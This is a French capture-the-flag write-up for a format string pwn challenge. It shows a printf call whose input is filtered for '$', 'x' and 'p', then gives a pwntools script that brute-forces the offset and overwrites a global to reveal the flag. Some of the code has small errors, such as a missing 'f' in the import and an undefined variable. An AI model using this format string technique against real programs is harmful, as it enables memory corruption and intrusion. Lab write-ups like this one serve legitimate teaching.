3 min read

[CTF GEMA] Change Me 2

CTF GEMA Groupe 2025

Niveau de Difficulté : Medium

Catégorie du Challenge : Pwn

Description :

Prêt pour le deuxième round ? 🕵️‍♂️ Cette fois, vous devrez faire preuve d'ingéniosité dans vos saisies. L'objectif est le même : modifier une valeur et révéler le drapeau. Mais il y a un hic ! Le programme filtre certains de vos outils les plus fiables. Vous devrez trouver un moyen de contourner les filtres et de manipuler le flux sans les suspects habituels. Le temps presse ⏱️, alors agissez vite, réfléchissez bien et adaptez-vous aux nouveaux défis. Pouvez-vous encore prétendre à la victoire ? 🏆

Steps to Solve

Format string in main():

Dans ce challenge, nous rencontrons à nouveau une vulnérabilité de format de chaîne, mais avec une couche de défense supplémentaire : le programme filtre certains caractères qui pourraient être utilisés pour l'exploitation, tels que $, x et p. Cependant, la vulnérabilité principale reste dans la fonction printf, ce qui nous permet d'effectuer une attaque par format de chaîne.

L'objectif reste le même : exploiter la chaîne de format pour écraser la valeur de la variable globale ChangeMe, qui est vérifiée plus tard dans le programme pour imprimer le flag. Cependant, étant donné que certains des caractères couramment utilisés sont filtrés, l'attaque doit être adaptée pour contourner ces filtres et exploiter la vulnérabilité.

// Filter unwanted characters
int j = 0;
for (int i = 0; i < strlen(buf) && j < sizeof(filtered_buf) - 1; i++) {
    if (buf[i] != '$' && buf[i] != 'x' && buf[i] != 'p') {
        filtered_buf[j++] = buf[i];
    }
}
filtered_buf[j] = '\0';

printf(filtered_buf);

Ici, l'entrée est d'abord assainie en filtrant les caractères $, x et p. Cela empêche l'utilisation directe de spécificateurs de format tels que %x ou %p, que nous pourrions utiliser pour une fuite d'adresse. Ensuite, l'entrée est imprimée à l'aide de printf(filtered_buf);, ce qui reste vulnérable à l'exploitation par chaîne de format.

L'astuce ici consiste à trouver un moyen d'exécuter l'exploitation sans utiliser ces caractères filtrés.

Fuite de Mémoire :

Pour exploiter la vulnérabilité, nous pouvons créer une chaîne de format qui lira les valeurs de la mémoire. En utilisant %p ou %x, nous pouvons imprimer le contenu de la mémoire. Dans notre cas, nous commençons par un payload simple pour fuiter des informations. Nous tentons ce qui suit :

%c%c%c%c%c%c%c%c

Cela ne produit pas d'informations utiles, nous augmentons donc la complexité du payload.

Après avoir testé plusieurs offsets, le programme plante, ce qui indique que nous avons déclenché une faute de segmentation (SIGSEGV) en raison d'un accès mémoire invalide. Cela confirme que nous avons correctement exploité la vulnérabilité de format de chaîne.

Brute-Force de l'Offset

def main():
    for offset in range(10):
        try:
            p = conn()
            log.success(f'testing with offset : {offset}')
            payload = fmtstr_payload(offset, {elf.symbols['ChangeMe']: 0x41}, write_size='byte', no_dollars=True)
           p.sendlineafter(b"> ", payload)
           print(p.recvall())
           p.close()
       except:
           pass

Au lieu d'utiliser la classe FmtStr, le script effectue un brute-force de l'offset en testant différentes valeurs dans la plage de 0 à 9. Pour chaque offset, il crée le payload pour écraser la variable ChangeMe avec la valeur 0x41 (ASCII 'A') et l'envoie au programme.

L'argument no_dollars=True garantit que le payload évite d'utiliser les caractères $, x et p, respectant ainsi le filtre d'entrée du programme.

Une fois le bon offset trouvé, le payload écrasera avec succès ChangeMe, déclenchant ainsi l'affichage du flag. Le script imprime ensuite le résultat et termine le processus.

Solve Code

rom pwn import *
import time


elf = ELF("./main")
context(binary=elf)
libc = None
# context.log_level = "debug"


def conn():
    global libc
    if args.LOCAL:
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
        p = process([elf.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        p = remote("127.0.0.1", 1234)
    return p


def find_offset(payload):
    p = elf.process()
    p.sendlineafter(b"> ", payload)
    return p.recvline().strip()


def main():
    # bruteforcing !!
    for offset in range(10):
        try:
            p = conn()
            log.success(f'testing with offset : {offset}')
            payload = fmtstr_payload(offset, {elf.symbols['ChangeMe']: 0x41}, write_size='byte', no_dollars=True)
            p.sendlineafter(b"> ", payload)
            print(p.recvall())
            p.close()
        except:
            pass

if __name__ == "__main__":
    main()```

Flag

FLAG{f0rm4t_5tr1ng5_w1th0ut_d0l1ar_s1gn}